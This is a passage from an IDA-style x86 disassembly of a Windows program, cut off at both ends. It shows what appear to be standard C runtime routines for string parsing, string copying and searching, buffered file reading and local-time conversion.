jz short loc_416770 mov bl, [esi] inc esi jmp short loc_416740 ; --------------------------------------------------------------------------- loc_416770: ; CODE XREF: sub_416728+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41677E or [ebp+arg_C], 2 jmp short loc_416783 ; --------------------------------------------------------------------------- loc_41677E: ; CODE XREF: sub_416728+4Ej cmp bl, 2Bh jnz short loc_416789 loc_416783: ; CODE XREF: sub_416728+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_416789: ; CODE XREF: sub_416728+59j mov eax, [ebp+arg_8] test eax, eax jl loc_416920 cmp eax, 1 jz loc_416920 cmp eax, 24h jg loc_416920 push 10h test eax, eax pop ecx jnz short loc_4167D1 cmp bl, 30h jz short loc_4167BB mov [ebp+arg_8], 0Ah jmp short loc_4167ED ; --------------------------------------------------------------------------- loc_4167BB: ; CODE XREF: sub_416728+88j mov al, [esi] cmp al, 78h jz short loc_4167CE cmp al, 58h jz short loc_4167CE mov [ebp+arg_8], 8 jmp short loc_4167ED ; --------------------------------------------------------------------------- loc_4167CE: ; CODE XREF: sub_416728+97j ; sub_416728+9Bj mov [ebp+arg_8], ecx loc_4167D1: ; CODE XREF: sub_416728+83j cmp [ebp+arg_8], ecx jnz short loc_4167ED cmp bl, 30h jnz short loc_4167ED mov al, [esi] cmp al, 78h jz short loc_4167E5 cmp al, 58h jnz short loc_4167ED loc_4167E5: ; CODE XREF: sub_416728+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_4167ED: ; CODE XREF: sub_416728+91j ; sub_416728+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_4167FD: ; CODE XREF: sub_416728+16Cj cmp dword_43812C, 1 movzx esi, bl jle short loc_416815 push 4 push esi call sub_418576 pop ecx pop ecx jmp short loc_416820 ; --------------------------------------------------------------------------- loc_416815: ; CODE XREF: sub_416728+DFj mov eax, off_437F20 mov al, [eax+esi*2] and eax, 4 loc_416820: ; CODE XREF: sub_416728+EBj test eax, eax jz short loc_41682C movsx ecx, bl sub ecx, 30h jmp short loc_41685E ; --------------------------------------------------------------------------- loc_41682C: ; CODE XREF: sub_416728+FAj cmp dword_43812C, 1 jle short loc_416840 push edi push esi call sub_418576 pop ecx pop ecx jmp short loc_41684B ; --------------------------------------------------------------------------- loc_416840: ; CODE XREF: sub_416728+10Bj mov eax, off_437F20 mov ax, [eax+esi*2] and eax, edi loc_41684B: ; CODE XREF: sub_416728+116j test eax, eax jz short loc_416899 movsx eax, bl push eax call sub_41B539 pop ecx mov ecx, eax sub ecx, 37h loc_41685E: ; CODE XREF: sub_416728+102j cmp ecx, [ebp+arg_8] jnb short loc_416899 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_416883 jnz short loc_41687D or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_416883 loc_41687D: ; CODE XREF: sub_416728+147j or [ebp+arg_C], 4 jmp short loc_41688C ; --------------------------------------------------------------------------- loc_416883: ; CODE XREF: sub_416728+145j ; sub_416728+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41688C: ; CODE XREF: sub_416728+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_4167FD ; --------------------------------------------------------------------------- loc_416899: ; CODE XREF: sub_416728+125j ; sub_416728+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_4168B7 test edx, edx jz short loc_4168B1 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4168B1: ; CODE XREF: sub_416728+181j and [ebp+var_8], 0 jmp short loc_416904 ; --------------------------------------------------------------------------- loc_4168B7: ; CODE XREF: sub_416728+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_4168DD test cl, 1 jnz short loc_416904 and ecx, 2 jz short loc_4168D4 cmp [ebp+var_8], 80000000h ja short loc_4168DD loc_4168D4: ; CODE XREF: sub_416728+1A1j test ecx, ecx jnz short loc_416904 cmp [ebp+var_8], eax jbe short loc_416904 loc_4168DD: ; CODE XREF: sub_416728+197j ; sub_416728+1AAj test byte ptr [ebp+arg_C], 1 mov dword_46B634, 22h jz short loc_4168F3 or [ebp+var_8], 0FFFFFFFFh jmp short loc_416904 ; --------------------------------------------------------------------------- loc_4168F3: ; CODE XREF: sub_416728+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_416904: ; CODE XREF: sub_416728+18Dj ; sub_416728+19Cj ... test edx, edx jz short loc_41690D mov eax, [ebp+var_4] mov [edx], eax loc_41690D: ; CODE XREF: sub_416728+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41691B mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41691B: ; CODE XREF: sub_416728+1E9j mov eax, [ebp+var_8] jmp short loc_41692B ; --------------------------------------------------------------------------- loc_416920: ; CODE XREF: sub_416728+66j ; sub_416728+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_416929 mov [eax], edi loc_416929: ; CODE XREF: sub_416728+1FDj xor eax, eax loc_41692B: ; CODE XREF: sub_416728+1F6j pop edi pop esi pop ebx leave retn sub_416728 endp ; =============== S U B R O U T I N E ======================================= sub_416930 proc near ; CODE XREF: sub_405398+4A6p ; sub_40CD3A+359Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_416728 add esp, 10h retn sub_416930 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416947 proc near ; CODE XREF: sub_405398+24Cp ; sub_405398+450p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_415B10 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_41B605 add esp, 10h leave retn sub_416947 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41697B proc near ; CODE XREF: sub_405398+4Ep var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call dword_42105C ; GetLocalTime lea eax, [ebp+var_20] push eax call dword_42115C ; GetSystemTime mov ax, [ebp+var_16] cmp ax, word_46B62A jnz short loc_4169E0 mov ax, [ebp+var_18] cmp ax, word_46B628 jnz short loc_4169E0 mov ax, [ebp+var_1A] cmp ax, word_46B626 jnz short loc_4169E0 mov ax, [ebp+var_1E] cmp ax, word_46B622 jnz short loc_4169E0 mov ax, [ebp+var_20] cmp ax, word_46B620 jnz short loc_4169E0 mov eax, dword_46B618 jmp short loc_416A25 ; --------------------------------------------------------------------------- loc_4169E0: ; CODE XREF: sub_41697B+28j ; sub_41697B+35j ... lea eax, [ebp+var_CC] push eax call dword_421158 ; GetTimeZoneInformation cmp eax, 0FFFFFFFFh jz short loc_416A0D cmp eax, 2 jnz short loc_416A09 cmp [ebp+var_32], 0 jz short loc_416A09 cmp [ebp+var_24], 0 jz short loc_416A09 push 1 pop eax jmp short loc_416A10 ; --------------------------------------------------------------------------- loc_416A09: ; CODE XREF: sub_41697B+7Aj ; sub_41697B+81j ... xor eax, eax jmp short loc_416A10 ; --------------------------------------------------------------------------- loc_416A0D: ; CODE XREF: sub_41697B+75j or eax, 0FFFFFFFFh loc_416A10: ; CODE XREF: sub_41697B+8Cj ; sub_41697B+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_46B620 movsd movsd movsd movsd pop edi mov dword_46B618, eax pop esi loc_416A25: ; CODE XREF: sub_41697B+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_41C0B6 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_416A55 mov [ecx], eax locret_416A55: ; CODE XREF: sub_41697B+D6j leave retn sub_41697B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A57 proc near ; CODE XREF: sub_4059FC+4Ep ; sub_406B84+30Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_416A7B xor eax, eax jmp loc_416B24 ; --------------------------------------------------------------------------- loc_416A7B: ; CODE XREF: sub_416A57+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_416A8E mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_416A9A ; --------------------------------------------------------------------------- loc_416A8E: ; CODE XREF: sub_416A57+2Dj mov [ebp+arg_C], 1000h jmp short loc_416A9A ; --------------------------------------------------------------------------- loc_416A97: ; CODE XREF: sub_416A57+C4j mov ecx, [ebp+arg_0] loc_416A9A: ; CODE XREF: sub_416A57+35j ; sub_416A57+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_416ACC mov eax, [esi+4] test eax, eax jz short loc_416ACC cmp ecx, eax mov edi, ecx jb short loc_416AB1 mov edi, eax loc_416AB1: ; CODE XREF: sub_416A57+56j push edi push dword ptr [esi] push ebx call sub_4153F0 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_416B17 ; --------------------------------------------------------------------------- loc_416ACC: ; CODE XREF: sub_416A57+49j ; sub_416A57+50j cmp ecx, [ebp+arg_C] jb short loc_416AFF cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_416AE2 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_416AE2: ; CODE XREF: sub_416A57+80j push eax push ebx push dword ptr [esi+10h] call sub_41C251 add esp, 0Ch test eax, eax jz short loc_416B29 cmp eax, 0FFFFFFFFh jz short loc_416B2F sub [ebp+arg_0], eax add ebx, eax jmp short loc_416B17 ; --------------------------------------------------------------------------- loc_416AFF: ; CODE XREF: sub_416A57+78j push esi call sub_41C178 cmp eax, 0FFFFFFFFh pop ecx jz short loc_416B33 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_416B17: ; CODE XREF: sub_416A57+73j ; sub_416A57+A6j cmp [ebp+arg_0], 0 jnz loc_416A97 mov eax, [ebp+arg_8] loc_416B24: ; CODE XREF: sub_416A57+1Fj ; sub_416A57+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_416B29: ; CODE XREF: sub_416A57+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_416B33 ; --------------------------------------------------------------------------- loc_416B2F: ; CODE XREF: sub_416A57+9Fj or dword ptr [esi+0Ch], 20h loc_416B33: ; CODE XREF: sub_416A57+B2j ; sub_416A57+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_416B24 sub_416A57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B3F proc near ; CODE XREF: sub_405A96+2A1p ; sub_406048+100p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_416B58: ; CODE XREF: sub_416B3F+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_416B58 mov edx, [ebp+arg_0] test edx, edx jnz short loc_416B80 mov edx, dword_46B630 loc_416B80: ; CODE XREF: sub_416B3F+39j ; sub_416B3F+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_416BA0 test al, al jz short loc_416BA0 inc edx jmp short loc_416B80 ; --------------------------------------------------------------------------- loc_416BA0: ; CODE XREF: sub_416B3F+58j ; sub_416B3F+5Cj mov ebx, edx loc_416BA2: ; CODE XREF: sub_416B3F+81j mov al, [edx] test al, al jz short loc_416BC6 movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_416BC2 inc edx jmp short loc_416BA2 ; --------------------------------------------------------------------------- loc_416BC2: ; CODE XREF: sub_416B3F+7Ej and byte ptr [edx], 0 inc edx loc_416BC6: ; CODE XREF: sub_416B3F+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_46B630, edx and eax, ebx pop ebx leave retn sub_416B3F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416BE0 proc near ; CODE XREF: sub_4062F7+1B3p ; sub_4071B6+6Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_416C63 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_416C04 shr ecx, 2 jnz short loc_416C71 jmp short loc_416C25 ; --------------------------------------------------------------------------- loc_416C04: ; CODE XREF: sub_416BE0+1Bj ; sub_416BE0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_416C32 test al, al jz short loc_416C3A test esi, 3 jnz short loc_416C04 mov ebx, ecx shr ecx, 2 jnz short loc_416C71 loc_416C20: ; CODE XREF: sub_416BE0+8Fj and ebx, 3 jz short loc_416C32 loc_416C25: ; CODE XREF: sub_416BE0+22j ; sub_416BE0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_416C5E dec ebx jnz short loc_416C25 loc_416C32: ; CODE XREF: sub_416BE0+2Bj ; sub_416BE0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_416C3A: ; CODE XREF: sub_416BE0+2Fj test edi, 3 jz short loc_416C54 loc_416C42: ; CODE XREF: sub_416BE0+72j mov [edi], al inc edi dec ecx jz loc_416CD6 test edi, 3 jnz short loc_416C42 loc_416C54: ; CODE XREF: sub_416BE0+60j mov ebx, ecx shr ecx, 2 jnz short loc_416CC7 loc_416C5B: ; CODE XREF: sub_416BE0+7Fj ; sub_416BE0+F4j mov [edi], al inc edi loc_416C5E: ; CODE XREF: sub_416BE0+4Dj dec ebx jnz short loc_416C5B pop ebx pop esi loc_416C63: ; CODE XREF: sub_416BE0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_416C69: ; CODE XREF: sub_416BE0+A9j ; sub_416BE0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_416C20 loc_416C71: ; CODE XREF: sub_416BE0+20j ; sub_416BE0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_416C69 test dl, dl jz short loc_416CBB test dh, dh jz short loc_416CB1 test edx, 0FF0000h jz short loc_416CA7 test edx, 0FF000000h jnz short loc_416C69 mov [edi], edx jmp short loc_416CBF ; --------------------------------------------------------------------------- loc_416CA7: ; CODE XREF: sub_416BE0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_416CBF ; --------------------------------------------------------------------------- loc_416CB1: ; CODE XREF: sub_416BE0+B1j and edx, 0FFh mov [edi], edx jmp short loc_416CBF ; --------------------------------------------------------------------------- loc_416CBB: ; CODE XREF: sub_416BE0+ADj xor edx, edx mov [edi], edx loc_416CBF: ; CODE XREF: sub_416BE0+C5j ; sub_416BE0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_416CD1 loc_416CC7: ; CODE XREF: sub_416BE0+79j xor eax, eax loc_416CC9: ; CODE XREF: sub_416BE0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_416CC9 loc_416CD1: ; CODE XREF: sub_416BE0+E5j and ebx, 3 jnz short loc_416C5B loc_416CD6: ; CODE XREF: sub_416BE0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_416BE0 endp ; =============== S U B R O U T I N E ======================================= sub_416CDE proc near ; CODE XREF: sub_406B84+2E2p ; sub_406B84+42Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_416D5A mov edi, [esp+8+arg_8] test edi, edi jz short loc_416CFD cmp edi, 1 jz short loc_416CFD cmp edi, 2 jnz short loc_416D5A loc_416CFD: ; CODE XREF: sub_416CDE+13j ; sub_416CDE+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_416D14 push esi call sub_41C4E1 add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_416D14: ; CODE XREF: sub_416CDE+27j push esi call sub_418704 mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_416D29 and al, 0FCh mov [esi+0Ch], eax jmp short loc_416D3D ; --------------------------------------------------------------------------- loc_416D29: ; CODE XREF: sub_416CDE+42j test al, 1 jz short loc_416D3D test al, 8 jz short loc_416D3D test ah, 4 jnz short loc_416D3D mov dword ptr [esi+18h], 200h loc_416D3D: ; CODE XREF: sub_416CDE+49j ; sub_416CDE+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_41C447 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_416D67 ; --------------------------------------------------------------------------- loc_416D5A: ; CODE XREF: sub_416CDE+Bj ; sub_416CDE+1Dj mov dword_46B634, 16h or eax, 0FFFFFFFFh loc_416D67: ; CODE XREF: sub_416CDE+7Aj pop edi pop esi retn sub_416CDE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D70 proc near ; CODE XREF: sub_406B84+2ACp ; sub_406B84+2CDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_416DA1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_416D9F jz short loc_416DA1 dec ecx dec ecx loc_416D9F: ; CODE XREF: sub_416D70+29j not ecx loc_416DA1: ; CODE XREF: sub_416D70+9j ; sub_416D70+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_416D70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416DB0 proc near ; CODE XREF: sub_407075+5Cp ; sub_407075+9Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_416E64 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_416DDA loc_416DCB: ; CODE XREF: sub_416DB0+28j mov al, [edi] inc edi test al, al jz short loc_416E0B test edi, 3 jnz short loc_416DCB loc_416DDA: ; CODE XREF: sub_416DB0+19j ; sub_416DB0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_416DDA mov eax, [edi-4] test al, al jz short loc_416E18 test ah, ah jz short loc_416E13 test eax, 0FF0000h jz short loc_416E0E test eax, 0FF000000h jnz short loc_416DDA loc_416E0B: ; CODE XREF: sub_416DB0+20j dec edi jmp short loc_416E1B ; --------------------------------------------------------------------------- loc_416E0E: ; CODE XREF: sub_416DB0+52j sub edi, 2 jmp short loc_416E1B ; --------------------------------------------------------------------------- loc_416E13: ; CODE XREF: sub_416DB0+4Bj sub edi, 3 jmp short loc_416E1B ; --------------------------------------------------------------------------- loc_416E18: ; CODE XREF: sub_416DB0+47j sub edi, 4 loc_416E1B: ; CODE XREF: sub_416DB0+5Cj ; sub_416DB0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_416E30 mov ebx, ecx shr ecx, 2 jnz short loc_416E7C jmp short loc_416E4C ; --------------------------------------------------------------------------- loc_416E30: ; CODE XREF: sub_416DB0+75j ; sub_416DB0+93j mov dl, [esi] inc esi test dl, dl jz short loc_416E6A mov [edi], dl inc edi dec ecx jz short loc_416E60 test esi, 3 jnz short loc_416E30 mov ebx, ecx shr ecx, 2 jnz short loc_416E7C loc_416E4C: ; CODE XREF: sub_416DB0+7Ej ; sub_416DB0+CAj mov ecx, ebx and ecx, 3 jz short loc_416E60 loc_416E53: ; CODE XREF: sub_416DB0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_416E62 dec ecx jnz short loc_416E53 loc_416E60: ; CODE XREF: sub_416DB0+8Bj ; sub_416DB0+A1j mov [edi], cl loc_416E62: ; CODE XREF: sub_416DB0+ABj pop ebx pop esi loc_416E64: ; CODE XREF: sub_416DB0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_416E6A: ; CODE XREF: sub_416DB0+85j ; sub_416DB0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_416E74: ; CODE XREF: sub_416DB0+E4j ; sub_416DB0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_416E4C loc_416E7C: ; CODE XREF: sub_416DB0+7Cj ; sub_416DB0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_416E74 test dl, dl jz short loc_416E6A test dh, dh jz short loc_416EC8 test edx, 0FF0000h jz short loc_416EB8 test edx, 0FF000000h jnz short loc_416E74 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_416EB8: ; CODE XREF: sub_416DB0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_416EC8: ; CODE XREF: sub_416DB0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_416DB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EE0 proc near ; CODE XREF: sub_4071B6+2A2p ; sub_40CD3A+3012p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_416F01 xor eax, eax jmp short loc_416F03 ; --------------------------------------------------------------------------- loc_416F01: ; CODE XREF: sub_416EE0+1Bj mov eax, edi loc_416F03: ; CODE XREF: sub_416EE0+1Fj cld pop edi leave retn sub_416EE0 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_416F20 loc_416F10: ; CODE XREF: sub_416F20+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_416F20 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416F20 proc near ; CODE XREF: sub_408503+D9p ; sub_40CD3A+3F3p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 00416F10 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_416F26: ; CODE XREF: sub_4158E0+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_416F4B loc_416F38: ; CODE XREF: sub_416F20+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_416F10 test cl, cl jz short loc_416F94 test edx, 3 jnz short loc_416F38 loc_416F4B: ; CODE XREF: sub_416F20+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_416F56: ; CODE XREF: sub_416F20+61j ; sub_416F20+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_416F98 and eax, 81010100h jz short loc_416F56 and eax, 1010100h jnz short loc_416F92 and esi, 80000000h jnz short loc_416F56 loc_416F92: ; CODE XREF: sub_416F20+68j ; sub_416F20+81j ... pop esi pop edi loc_416F94: ; CODE XREF: sub_416F20+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_416F98: ; CODE XREF: sub_416F20+5Aj mov eax, [edx-4] cmp al, bl jz short loc_416FD5 test al, al jz short loc_416F92 cmp ah, bl jz short loc_416FCE test ah, ah jz short loc_416F92 shr eax, 10h cmp al, bl jz short loc_416FC7 test al, al jz short loc_416F92 cmp ah, bl jz short loc_416FC0 test ah, ah jz short loc_416F92 jmp short loc_416F56 ; --------------------------------------------------------------------------- loc_416FC0: ; CODE XREF: sub_416F20+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_416FC7: ; CODE XREF: sub_416F20+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_416FCE: ; CODE XREF: sub_416F20+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_416FD5: ; CODE XREF: sub_416F20+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_416F20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416FDC proc near ; CODE XREF: sub_408503+C6p ; sub_40CD3A+43DFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_416FF0 xor eax, eax jmp short loc_417026 ; --------------------------------------------------------------------------- loc_416FF0: ; CODE XREF: sub_416FDC+Ej dec [ebp+arg_4] push esi jz short loc_417020 mov esi, [ebp+arg_8] loc_416FF9: ; CODE XREF: sub_416FDC+42j dec dword ptr [esi+4] js short loc_417008 mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41700F ; --------------------------------------------------------------------------- loc_417008: ; CODE XREF: sub_416FDC+20j push esi call sub_41C178 pop ecx loc_41700F: ; CODE XREF: sub_416FDC+2Aj cmp eax, 0FFFFFFFFh jz short loc_41702A mov [edi], al inc edi cmp al, 0Ah jz short loc_417020 dec [ebp+arg_4] jnz short loc_416FF9 loc_417020: ; CODE XREF: sub_416FDC+18j ; sub_416FDC+3Dj ... and byte ptr [edi], 0 loc_417023: ; CODE XREF: sub_416FDC+55j mov eax, ebx pop esi loc_417026: ; CODE XREF: sub_416FDC+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41702A: ; CODE XREF: sub_416FDC+36j cmp edi, [ebp+arg_0] jnz short loc_417020 xor ebx, ebx jmp short loc_417023 sub_416FDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417033 proc near ; CODE XREF: sub_409A45+6p ; sub_409A63+48p ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_46B6CC, 0 push ebx push esi push edi jnz short loc_417060 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_4170F9 cmp eax, 5Ah jg loc_4170F9 add eax, 20h jmp loc_4170F9 ; --------------------------------------------------------------------------- loc_417060: ; CODE XREF: sub_417033+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_417094 cmp dword_43812C, esi jle short loc_417082 push esi push ebx call sub_418576 pop ecx pop ecx jmp short loc_41708C ; --------------------------------------------------------------------------- loc_417082: ; CODE XREF: sub_417033+42j mov eax, off_437F20 mov al, [eax+ebx*2] and eax, esi loc_41708C: ; CODE XREF: sub_417033+4Dj test eax, eax jnz short loc_417094 loc_417090: ; CODE XREF: sub_417033+ADj mov eax, ebx jmp short loc_4170F9 ; --------------------------------------------------------------------------- loc_417094: ; CODE XREF: sub_417033+3Aj ; sub_417033+5Bj mov edx, off_437F20 mov eax, ebx sar eax, 8 movzx 